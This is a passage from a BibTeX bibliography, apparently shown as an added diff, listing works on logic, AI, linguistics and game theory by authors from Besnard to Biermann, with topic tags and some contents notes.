Park, California}, + topic = {context;modal-logic;nonmonotonic-reasoning;} + } + +@incollection{ besnard-schaub:1996a, + author = {Philippe Besnard and Torsten Schaub}, + title = {A Simple Signed System for Paraconsistent Reasoning}, + booktitle = {Logics in Artificial Intelligence: European Workshop, + {Jelia}'96, Ivora, Portugal, September 30 - October 3, + 1996.}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and Ewa Orlowska}, + pages = {404--416}, + address = {Berlin}, + topic = {paraconsistent-reasoning;} + } + +@book{ besnard-hunter_a:1998a, + editor = {Philippe Besnard and Anthony Hunter}, + title = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems: Reasoning with + Actual and Potential Contradictions}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + volume = {2}, + address = {Dordrecht}, + contentsnote = {TC: + 1. Philippe Besnard and Anthony Hunter, "Introduction to + Actual and Potential Contradictions", pp. 1--9 + 2. Anthony Hunter, "Paraconsistent Logics", pp. 11--36 + 3. John-Jules Ch. Meyer and Wiebe van der Hoek, "Modal Logics + for Representing Incoherent Knowledge", pp. 37--75 + 4. Torsten Schaub, "The Family of Default Logics", pp. 77--133 + 5. James P. Delgrande, "Conditional Logics for Defeasible + Logics", pp. 135--173 + 6. P. Geerts and E. Laenens and D. Vermeir, "Defeasible + Logics", pp. 175--210 + 7. Wolfgang Lenzen, "Necessary Conditions for + Negation-Operators (with Particular Applications + to Paraconsistent Negation)", pp. 211--239 + 8. Carlos Viegas Dam\'asio and Lu\'is Moniz Pereira, "A Survey + of Paraconsistent Semantics for Logic + Programs", pp. 241--320}, + topic = {reasoning-about-uncertainty;relevance-logic;paraconsistency; + nonmonotonic-logic;} + } + +@incollection{ besnard-hunter_a:1998b, + author = {Philippe Besnard and Anthony Hunter}, + title = {Introduction to Actual and Potential Contradictions}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 2: Reasoning with + Actual and Potential Contradictions}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {1--9}, + address = {Dordrecht}, + topic = {reasoning-about-uncertainty;relevance-logic;paraconsistency;} + } + +@inproceedings{ besnard-shaub:2000a, + author = {Phillipe Besnard and Torsten Shaub}, + title = {Significant Inferences: Preliminary Report}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {401--410}, + topic = {significant-inferences;relevance-logic;} + } + +@article{ besnard-hunter_a:2001a, + author = {Philippe Besnard and Anthony Hunter}, + title = {A Logic-Based Theory of Deductive Arguments}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {128}, + number = {1--2}, + pages = {203--235}, + topic = {argumentation;reasoning-about-consistency;} + } + +@article{ bessiere:1994a, + author = {Christian Bessi\'ere}, + title = {Arc-consistency and Arc-Consistency Again}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {65}, + number = {1}, + pages = {179--190}, + acontentnote = {Abstract: + There is no need to show the importance of arc-consistency in + constraint networks. Mohr and Henderson [9] have proposed AC-4, + an algorithm with optimal worst-case time complexity. But it has + two drawbacks: its space complexity and average time complexity. + In problems with many solutions, where constraints are large, + these drawbacks become so important that users often replace + AC-4 by AC-3 [8], a non-optimal algorithm. In this paper, we + propose a new algorithm, AC-6, which keeps the optimal + worst-case time complexity of AC-4 while working out the + drawback of space complexity. Moreover, the average time + complexity of AC-6 is optimal for constraint networks where + nothing is known about the constraint semantics. + } , + topic = {arc-(in)consistency;constraint-networks;complexity-in-AI; + constraint-satisfaction;} + } + +@article{ bessiere-etal:1999a, + author = {Christian Bessi\'ere and Eugene C. Freuder + and Jean-Charles R/'egin}, + title = {Using Constraint Metaknowledge to Reduce Arc + Consistency Computation}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {107}, + number = {1}, + pages = {125--148}, + topic = {constraint-satisfaction;} + } + +@incollection{ beth:1963a, + author = {Evert W. Beth}, + title = {Carnap's Views on the Advantages of Constructed Systems + over Natural Languages in the Philosophy of Science}, + booktitle = {The Philosophy of {R}udolph {C}arnap}, + publisher = {Open Court}, + year = {1963}, + editor = {Paul Schilpp}, + pages = {469--502}, + address = {LaSalle, Illinois}, + topic = {Carnap;philosophy-of-science;} + } + +@article{ bettini-etal:2002a, + author = {Claudio Bettini and X. Sean Wang and Sushil Jajodia}, + title = {Solving Multi-Granularity Temporal Constraint Networks}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {140}, + number = {1--2}, + pages = {107--152}, + topic = {constraint-satisfaction;arc-(in)consistency;temporal-reasoning;} + } + +@article{ beuchcapon:2000a, + author = {Trevor Beuch Capon}, + title = {Review of {\it Logical Tools for Modeling Legal Argument: + A Study of Defeasible Reasoning in Law}, by {H}enry {P}rakken}, + journal = {Studia Logica}, + year = {2000}, + volume = {64}, + number = {1}, + pages = {143--146}, + xref = {Review of prakken:1997c.}, + topic = {logic-and-law;nonmonotonic-reasoning;} + } + +@phdthesis{ beun:1989a, + author = {R.J. Beun}, + title = {The Recognition of Declarative Questions in Information + Dialogues}, + school = {Tilburg University}, + year = {1989}, + type = {Ph.{D}. Dissertation}, + address = {Tilburg}, + missinginfo = {A's 1st name}, + topic = {speech-act-recognition;computational-dialogue;interrogatives;} + } + +@inproceedings{ beun:1996a, + author = {R.J. Beun}, + title = {Speech Act Generation in Cooperative Dialogue}, + booktitle = {Proceedings of the 11th {T}wente Workshop on Language + Technology}, + year = {1996}, + pages = {71--79}, + organization = {University of Twente}, + address = {Entschede}, + missinginfo = {A's 1st name, editor, publisher}, + topic = {speech-acts;nl-generation;computational-dialogue;} + } + +@incollection{ bever:1970a, + author = {Thomas G. Bever}, + title = {The Cognitive Basis for Linguistic Structures}, + booktitle = {Cognition and the Development of Language}, + publisher = {John Wiley and Sons}, + year = {1970}, + editor = {J. Hayes}, + pages = {279--352}, + address = {New York}, + missinginfo = {E's 1st name.}, + topic = {psycholinguistics;} + } + +@incollection{ bever-rosenbaum:1971a, + author = {Thomas A. Bever and Peter S. Rosenbaum}, + title = {Some Lexical Structures and Their Empirical Validity}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {586--599}, + address = {Cambridge, England}, + topic = {psycholinguistics;transformational-grammar;} + } + +@incollection{ bever:1974a, + author = {Thomas G. Bever}, + title = {The Ascent of the Specious, or, There's + a Lot We Don't Know about Mirrors}, + booktitle = {Explaining Linguistic Phenomena}, + publisher = {Hemisphere Publishing Corp.}, + year = {1974}, + editor = {David Cohen}, + pages = {173--200}, + address = {Washington, DC}, + topic = {philosophy-of-linguistics;linguistics-methodology;} + } + +@incollection{ bever:1976a, + author = {Thomas G. Bever}, + title = {The Influence of Speech Performance on + Linguistic Structure}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {65--88}, + address = {New York}, + topic = {linguistics-methodology;foundations-of-linguistics; + competence;} + } + +@book{ bever-etal:1976a, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + title = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + address = {New York}, + contentnote = {TC: + 1. Thomas G. Bever and Jerrold J. Katz and D. Terence + Langendoen, "Introduction", pp. 1--9 + 2. Jerrold J. Katz and Thomas G. Bever, "The Fall and Rise + of Empiricism", pp. 11--64 + 3. Thomas G. Bever, "The Influence of Speech Performance on + Linguistic Structure", pp. 65--88 + 4. D. Terence Langendoen, "Finite-State Parsing of + Phrase-Structure Languages and the Status + of Readjustment Rules in Grammar", pp. 89--113 + 5. Thomas G. Bever and D. Terence Langendoen, "A Dynamic Model + of the Evolution of Language", pp. 115--147 + 6. Thomas G. Bever and John M. Carroll, Jr. and Richard + Hurtig, "Analogy or Ungrammatical Sequences That + Are Utterable and Comprehensible Are the Origins + of New Grammars in Language", pp. 149--182 + 7. D. Terence Langendoen, "A Case of Apparent + Ungrammaticality", pp. 183--193 + 8. D. Terence Langendoen and Nancy Kalish-Landon and John + Dore, "Dative Questions: A Study in the Relation of + Accessibility to Grammaticality of an English + Sentence Type", pp. 195--223 + 9. D. Terence Langendoen, "Acceptable Conclusions from Unacceptable + Ambiguity", pp. 225--238 + 10. D. Terence Langendoen and Thomas G. Bever, "Can a Not Unhappy + Person be Called a Not Sad One?", pp. 239--260 + 11. Robert M. Harnish, "The Argument from {\em Lurk}", pp. 261--270 + 12. Manfred Bierwisch, "Social Differentiation of Language + Structures", pp. 271--312 + 13. Robert M. Harnish, "Logical Form and Implicature", pp. 313--391 + 14. Jerrold J. Katz and D. Terence Langendoen, "Pragmatics and + Presupposition", pp. 393--413 + 15. Jerrold J. Katz, "Global Rules and Surface Structure + Interpretation", pp. 415--425 + } , + topic = {linguistics-methodology;foundations-of-linguistics;} + } + +@incollection{ bever-etal:1976b, + author = {Thomas G. Bever and Jerrold J. Katz and D. Terence + Langendoen}, + title = {Introduction}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {1--9}, + address = {New York}, + topic = {linguistics-methodology;foundations-of-linguistics;} + } + +@incollection{ bever-etal:1976c, + author = {Thomas G. Bever and John M. Carroll, Jr. and Richard + Hurtig}, + title = {Analogy or Ungrammatical Sequences that + Are Utterable and Comprehensible Are the Origins + of New Grammars in Language}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {149--182}, + address = {New York}, + topic = {analogy;language-change;} + } + +@incollection{ bever-langendoen:1976a, + author = {Thomas G. Bever and D. Terence Langendoen}, + title = {A Dynamic Model of the Evolution of Language}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {115--147}, + address = {New York}, + topic = {language-change;} + } + +@incollection{ beygelzimer-rish:2002a, + author = {Alina Beygelzimer and Irina Rish}, + title = {Inference Complexity as a Model-Selection Criterion for + Learning {B}ayesian Networks}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {558--567}, + address = {San Francisco, California}, + topic = {kr;Bayesian-networks;machine-learning;} + } + +@article{ bezhanishvili:2001a, + author = {Guram Bezhanishvili}, + title = {Review of {\it Tools and Techniques in Modal Logic}, by + {M}arcus {K}racht}, + journal = {The Bulletin of Symbolic Logic}, + year = {2001}, + volume = {7}, + number = {2}, + pages = {278--279}, + xref = {Review of: kracht:1999a}, + topic = {modal-logic;} + } + +@article{ bezuidenhout:1997a, + author = {Anne L. Bezuidenhout}, + title = {The Communication of De Re Thoughts}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {2}, + pages = {197--223}, + topic = {reference;singular-propositions;} + } + +@article{ bezuidenhout:1998a, + author = {Anne Bezuidenhout}, + title = {Is Verbal Communication a Purely Preservative + Process?}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {107}, + number = {2}, + pages = {261--288}, + topic = {philosophy-of-language;} + } + +@article{ bezuidenhout:2001a, + author = {Anne L. Bezuidenhout}, + title = {Review of {\it The Philosophy of {P}.{F}. {S}trawson}, + edited by {L}.{E.} {H}ahn}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {3}, + pages = {460--465}, + xref = {Review of: hahn_le:1998a}, + topic = {Strawson;analytic-philosophy;philosophy-of-language;} + } + +@book{ bharuchareid:1978a, + editor = {A. T. Bharucha-Reid}, + title = {Probabilistic Analysis and Related Topics}, + publisher = {Academic Press}, + year = {1978}, + address = {New York}, + ISBN = {0120956012 (v. 1)}, + topic = {probability-theory;stochastic-analysis;} + } + +@article{ bhaskar-nigam:1990a, + author = {R. Bhaskar and Anil Nigam}, + title = {Qualitative Physics Using Dimensional Analysis}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {45}, + number = {1--2}, + pages = {73--111}, + topic = {qualitative-physics;} + } + +@inproceedings{ bhatnagar:1995a, + author = {Raj Bhatnagar}, + title = {Probabilistic Contexts for Reasoning}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {39--46}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {context;probabilistic-reasoning;} + } + +@article{ bhatt:2002a, + author = {Rajesh Bhatt}, + title = {Review of {\it Economy and Semantic Interpretation}, by + {D}anny {F}ox}, + journal = {Linguistics and Philosophy}, + year = {2002}, + volume = {25}, + number = {2}, + pages = {233--259}, + xref = {Review of fox_d:2000a.}, + topic = {syntax-semantics-interface;nl-quantifier-scope;} + } + +@article{ bhatt:2002b, + author = {Rajesh Bhatt}, + title = {The Raising Analysis of Relative Clauses: Evidence from + Adjectival Modification}, + journal = {Natural Language Semantics}, + year = {2001}, + volume = {10}, + number = {1}, + pages = {43--90}, + topic = {relative-clauses;nl-semantics;} + } + +@incollection{ bianchi:1999a, + author = {Claudia Bianchi}, + title = {Three Forms of Contextual Dependence}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {67--76}, + address = {Berlin}, + topic = {context;philosophy-of-language;foundations-of-semantics;} + } + +@incollection{ bianchi:2001a, + author = {Claudia Bianchi}, + title = {Context of Utterance and Intended Context}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {73--66}, + address = {Berlin}, + topic = {context;indexicals;demonstratives;} + } + +@incollection{ biatov:2000a, + author = {Konstantin Biatov}, + title = {Experiments on Unsupervised Learning for Extracting + Relevant Fragments from Spoken Dialog Corpus}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {83--86}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;spoken-language-corpora;} + } + +@article{ bibel:1980a, + author = {Wolfgang Bibel}, + title = {Syntax-Directed, Semantics-Supported Program Synthesis}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {14}, + number = {3}, + pages = {243--261}, + topic = {program-synthesis;} + } + +@book{ bibel:1982a, + author = {Wolfgang Bibel}, + title = {Automated Theorem Proving}, + publisher = {Friedr. Vieweg \& Sohn}, + year = {1982}, + address = {Braunschweig, Germany}, + ISBN = {3528085207}, + topic = {theorem-proving;kr-course;} + } + +@article{ bibel:1982b, + author = {Wolfgang Bibel}, + title = {A Comparative Study of Several Proof Procedures}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {18}, + number = {3}, + pages = {269--293}, + topic = {theorem-proving;} + } + +@book{ bibel-jorrand:1986a, + editor = {W. Bibel and Ph. Jorrand}, + title = {Fundamentals of Artificial Intelligence: An Advanced Course}, + publisher = {Springer-Verlag}, + year = {1986}, + address = {Berlin}, + ISBN = {354016782X}, + topic = {AI-intro;} + } + +@article{ bibel:1988a, + author = {Wolfgang Bibel}, + title = {Constraint Satisfaction from a Deductive Viewpoint}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {3}, + pages = {401--413}, + topic = {constraint-satisfaction;theorem-proving;} + } + +@incollection{ bibel-eder:1993a, + author = {Wolfgang Bibel and Elmar Eder}, + title = {Methods and Calculi for Deduction}, + booktitle = {The Handbook of Logic in Artificial Intelligence and + Logic Programming, Volume 1: Deductive + Methodologies}, + editor = {Dov Gabbay and Christopher Hogger and J.A. Robinson}, + publisher = {Oxford University Press}, + pages = {68--367}, + address = {Oxford}, + year = {1993}, + missinginfo = {ed's 1st name}, + topic = {kr;logic-survey;theorem-proving;kr-course;} +} + +@book{ bibel-etal:1993a, + author = {Wolfgang Bibel and Steffen H\"olldobler and Gerd + Neugebauer}, + title = {Deduction: Automated Logic}, + publisher = {Academic Press}, + year = {1993}, + address = {London}, + ISBN = {012095835X}, + note = {Translated by Monika Lekuse with the assistance of Donald + Sannella.}, + topic = {theorem-proving;} + } + +@article{ bibel:1998a, + author = {Wolfgang Bibel}, + title = {Let's Plan it Deductively!}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {183--208}, + topic = {planning-algorithms;theorem-proving;} + } + +@incollection{ bibel-etal:1998a, + author = {Wolfgang Bibel et al.}, + title = {Compressions and Extensions}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, other authors, pages}, + topic = {theorem-proving;applied-logic;proof-theory;} + } + +@book{ bibel-schmidt:1998a, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + title = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + volume = {1}, + address = {Dordrecht}, + contentnote = {TC: + 0. Ulrich Furbach, "Introduction (to Part I: Tableau and Connection + Calculi)" + 1. B. Beckert and R. H\"anle, "Analytic Tableaux" + 2. R. Letz, "Clausal Tableaux" + 3. P. Baumgartner and Ulrich Furbach, "Variants of Clausal Tableaux" + 4. U. Egly, "Cuts in Tableaux" + 5. W. Bibel et al., "Compressions and Extensions" + 0'. U. Petermann, "Introduction (to Part II: Special Calculi and + Refinements" + 6. P. Baumgartner and U. Peterman, "Theory Reasoning" + 7. F. Baader and K.U. Schulz, "Unification THeory" + 8. P. Beckert, "Rigid E-Unification" + 9. C. Weidenbach, "Sorted Unification and Tree Automata" + 10. G. Meyer and C. Beierle, "Dimensions of Types in Logic Programming" + 11. L. Bachmair and H. Ganzinger, "Equational Reasoning in + Saturation-Based Theorem Proving" + 12. T. Nipkow and C. Prehofer, "Higher-Order Rewriting and + Equational Reasoning" + 13. M. Kohlhase, "Higher-Order Automated Theorem Proving" + } , + topic = {theorem-proving;applied-logic;} + } + +@book{ bibel-schmidt:1998b, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + title = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + volume = {1}, + address = {Dordrecht}, + contentnote = {TC: + 0. T. Nipkow and W. Reif, "Introduction (to Part I: Interactive + Theorem Proving)" + 1. W. Reif et al., "Structured Specifications and Interactive + Proofs with {KIV}" + 2. H. Benl et al., "Proof Theory at Work: Program Development + in the {M}inlog System" + 3. M. Strecker et al., "Interactive and Automated Construction + in Type Theory" + 4. W. Ahrendt et al., "Integrating Automated and Interactive + Theorem Proving" + 0'. J. Siekman and D. Fehrer, "Introduction (to Part II: + Representation)" + 5. P. Graf and D. Fehrer, "Term Indexing" + 6. D. Fehrer, "Developing Deductive Systems: The] + Toolbox Style" + 7. G. Neugebauer and U. Petermann, "Specifications of + Inference Rules: Extensions of the {PTTP} Technique" + 8. T. Kolbe and C. Walther, "Proof Analysis, Generalization, + and Reuse" + 0''. W. K\"uchlin, "Introduction (To Part III: Parallel Inference + Systems)" + 9. R. B\"undgen et al., "Parallel Term Rewriting with + {P}a{R}e{D}u{X}" + 10. J. Schulmann et al., "Parallel Theorem Provers Based on {SETHO}" + 11. S.-E. Bornscheuer et al., "Massively Parallel Reasoning" + 0'''. J. Avenhaus, "Introduction (To Part IV: Comparison and + Cooperation of Theorem Provers)" + 12. M. Baaz et al., "Extension Methods in Automated Deduction" + 13. J. Denzinger and M. Fuchs, "A Comparison of Equality + Reasoning Heuristics" + 14. J. Denzinger and I. Dahn, "Cooperating Theorem Provers" + } , + topic = {theorem-proving;applied-logic;AI-implementations;} + } + +@book{ bibel-schmidt:1998c, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + title = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + volume = {1}, + address = {Dordrecht}, + contentnote = {TC: + 0. M. Kohlhase, "Introduction (to Part I: Automated + Theorem Proving in Mathematics)" + 1. I. Dahn, "Lattice-Ordered Groups in Deduction" + 2. J. Stuber, "Superposition Theorem Proving for Commutsative + Rings" + 3. H.J. Olbach and J. K\"ohler, "How to Augment a Formal + System with a {B}oolean Algebra Component" + 4. M. Kerber, "Proof Planning: A Practical Approach to + Mechanized Reasoning in Mathematics" + 0'. J. Schumann, "Introduction (to Part II: Automated Deduction + in Software Engineering and Hardware Design )" + 5. C. Kreitz, "Program Synthesis" + 6. J. Geisl et al., "Termination Analysis for Functional + Programs" + 7. G. Schellhorn and W. Ahrendt, "The {WAM} Case Study: Verifying + Compiler Correctness for {P}rolog with {KIV}" + 8. I. Dahn and J. Schumann, "Using Automated Theorem Provers + in Verification of Protocols" + 9. W. Reif and G. Schellhorn, "Theorem Proving in Large Theories" + 10. F. Stolzenburg and B. Thomas, "Analyzing Rule Sets for the + Calculation of Banking Fees by a Theorem Prover with + Constraints" + 11. B. Fischer et al., "Deduction-Based Software Component + Retrieval" + 12. R. B\"undgen, "Rewrite Based Hardware Verification with + {R}e{D}u{X}" + } , + topic = {theorem-proving;applied-logic;} + } + +@incollection{ biber:1994a, + author = {Douglas Biber}, + title = {Representativeness in Corpus Design}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {377--407}, + address = {Pisa and Dordrecht}, + topic = {corpus-linguistics;} + } + +@book{ biber-etal:1998a, + author = {Douglas Biber and Susan Conrad and Randi Reppen}, + title = {Corpus Linguistics}, + publisher = {Cambridge University Press}, + year = {1998}, + address = {Cambridge, England}, + ISBN = {052149957-7}, + topic = {corpus-annotation;corpus-linguistics;corpus-tagging;} + } + +@article{ biber:1999a, + author = {Douglas Biber}, + title = {Review of {\it Exploring Textual Data}, by {L}udvic + {L}ebart and {A}ndr\'e {S}alem and {L}isette {B}arry}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {1}, + pages = {165--166}, + xref = {Review of lebart-etal:1998a.}, + topic = {corpus-statistics;multivariate-statistics;cluster-analysis;} + } + +@book{ biber-etal:1999a, + author = {Douglas Biber and Stig Johansson and Susan Conrad and + Edward Finnegan}, + title = {Longman Grammar of Spoken and Written {E}nglish}, + publisher = {Pearson Education, Ltd.}, + year = {1999}, + address = {Harlow, England}, + ISBN = {058223725-4}, + xref = {Review: hirst:2001a.}, + topic = {descriptive-grammar;Engliah-language;} + } + +@article{ bic:1985a, + author = {Lubomir Bic}, + title = {Processing of Semantic Nets on Dataflow Architectures}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {27}, + number = {2}, + pages = {219--227}, + acontentnote = {Abstract: + Extracting knowledge from a semantic network may be viewed as a + process of finding given patterns in the network. On a von + Neumann computer architecture the semantic net is a passive data + structure stored in memory and manipulated by a program. This + paper demonstrates that by adopting a data-driven model of + computation the necessary pattern-matching process may be + carried out on a highly-parallel dataflow architecture. The + model is based on the idea of representing the semantic network + as a dataflow graph in which each node is an active element + capable of accepting, processing, and emitting data tokens + traveling asynchronously along the network arcs. These tokens + are used to perform a parallel search for the given patterns. + Since no centralized control is required to guide and supervise + the token flow, the model is capable of exploiting a computer + architecture consisting of large numbers of independent + processing elements.}, + topic = {semantic-nets;parallel-processing;} + } + +@inproceedings{ bicchieri:1988a, + author = {Cristina Bicchieri}, + title = {Common Knowledge and Backward Induction: A Solution to + the Paradox}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {381--393}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {game-theory;mutual-belief;backward-induction;} + } + +@article{ bicchieri:1988b, + author = {Cristina Bicchieri}, + title = {Strategic Behavior and Counterfactuals}, + journal = {Synth\'ese}, + year = {1988}, + volume = {76}, + number = {1}, + pages = {135--169}, + topic = {conditionals;game-theory;} + } + +@inproceedings{ bicchieri:1989a, + author = {Cristina Bicchieri}, + title = {Backward Induction Without Common Knowledge}, + booktitle = {{PSA} 1988: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Volume 2}, + year = {1989}, + editor = {Arthur Fine and Janet Leplin}, + pages = {329--343}, + organization = {Philosophy of Science Association}, + publisher = {Philosophy of Science Association}, + address = {East Lansing, Michigan}, + topic = {game-theory;mutual-beliefs;backward-induction;} + } + +@book{ bicchieri-etal:1992a, + editor = {Cristina Bicchieri and Maria Luisa {Dalla Chiara}}, + title = {Knowledge, belief, and Strategic Interaction}, + publisher = {Cambridge University Press}, + year = {1992}, + address = {Cambridge, England}, + topic = {deontic-logic;} + } + +@book{ bicchieri:1993a, + author = {Cristina Bicchieri}, + title = {Rationality and Coordination}, + publisher = {Cambridge University Press}, + year = {1993}, + address = {Cambridge, England}, + xref = {Review: gilbert:1998a.}, + topic = {foundations-of-game-theory;game-theoretic-coordination; + rationality;} + } + +@book{ bicchieri-chiara:1993a, + editor = {Cristina Bicchieri and M.L.D. Chiara}, + title = {Knowledge, Belief, and Strategic Interaction}, + publisher = {Cambridge University Press}, + year = {1993}, + address = {Cambridge, England}, + missinginfo = {E's 1st name}, + topic = {game-theory;} + } + +@article{ bicchieri:1994a, + author = {Cristina Bicchieri}, + title = {Counterfactuals, Belief Changes, and Equilibrium Refinements}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {1}, + pages = {21--52}, + topic = {game-theory; counterfactuals;Nash-equilibria;} + } + +@article{ bicchieri-antonelli:1995a, + author = {Cristina Bicchieri and Aldo Antonelli}, + title = {Game-Theoretic Axioms for Local Rationality and Bounded + Knowledge}, + journal = {Journal of Logic, Language, and Information}, + year = {1995}, + volume = {4}, + number = {2}, + pages = {145--167}, + topic = {game-theory;rationality;} + } + +@incollection{ bicchieri-antonelli:1996a, + author = {Cristina Bicchieri and Aldo Antonelli}, + title = {Games Servers Play: A Procedural Approach}, + booktitle = {Intelligent Agents {II}: Agent Theories, Architectures, + and Languages}, + publisher = {Springer Verlag}, + year = {1996}, + editor = {Michael J. Wooldridge and J.P. M\"uller and Miland Tambe}, + pages = {127--142}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {game-theory;distributed-systems;} + } + +@book{ bicchieri-etal:1997a, + editor = {Cristina Bicchieri and Richard Jeffrey and Brian Skyrms}, + title = {The Dynamics of Norms}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + ISBN = {0521560624}, + ISBN = {0521560624}, + topic = {conditional-obligation;obligation-update;} + } + +@book{ bicchieri-etal:1999a, + editor = {Cristina Bicchieri and Richard Jeffrey and Brian Skyrms}, + title = {The Logic of Strategy}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + ISBN = {0195117158}, + topic = {decision-theory;foundations-of-decision-theory;} + } + +@unpublished{ bickard-campbell_rl:1991a, + author = {Mark H. Bickard and Robert L. campbell}, + title = {Some Foundational Questions Concerning Language Studies: + with a Focus on Categorial Grammars and Model Theoretic + Possible Worlds Semantics}, + year = {1991}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + contentnote = {This is an attempt at a foundational criticism of + logical semantics.}, + topic = {foundations-of-semantics;} + } + +@incollection{ bickerton:1979a, + author = {Derek Bickerton}, + title = {Where Do Presuppositions Come From}, + booktitle = {Syntax and Semantics 11: Presupposition}, + publisher = {Academic Press}, + year = {1979}, + editor = {ChoonKyo Oh and David A. Dineen}, + pages = {235--248}, + address = {New York}, + topic = {presupposition;pragmatics;} + } + +@article{ bidoit-froidevaux:1991a, + author = {N. Bidoit and Christine Froidevaux}, + title = {General Logical Databases and Programs: Default + Logic Semantics and Stratefication}, + journal = {Information and Computation}, + year = {1991}, + volume = {91}, + pages = {15--54}, + missinginfo = {A's 1st name, number}, + topic = {default-logic;stratified-logic-programs;} + } + +@incollection{ biederman:1990a, + author = {Irving Biederman}, + title = {Higher-Level Vision}, + booktitle = {An Invitation to Cognitive Science. Volume + 2: Visual Cognition and Action}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {41--72}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-psychology;human-vision;visual-reasoning;} + } + +@book{ bielec:1998a, + author = {Dana Bielec}, + title = {Polish--An Essential Grammar}, + publisher = {Routledge}, + year = {1998}, + address = {London}, + ISBN = {0415164052 (alk. paper), 0415164060 (pbk)}, + topic = {Polish-language;reference-grammars;} + } + +@article{ biermann:1972a, + author = {A.W. Biermann}, + title = {On the Inference of {T}uring Machines from Sample + Computations}, + journal = {Artificial Intelligence}, 